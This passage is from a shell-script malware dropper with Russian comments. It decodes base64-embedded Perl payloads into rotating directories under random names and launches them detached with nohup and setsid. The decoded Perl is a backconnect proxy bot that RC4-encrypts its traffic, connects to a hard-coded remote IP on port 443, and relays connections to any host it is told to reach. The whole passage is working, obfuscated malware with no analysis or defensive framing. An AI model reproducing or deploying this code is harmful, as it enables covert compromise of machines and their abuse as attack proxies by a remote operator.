ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #52 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #52 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 53 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 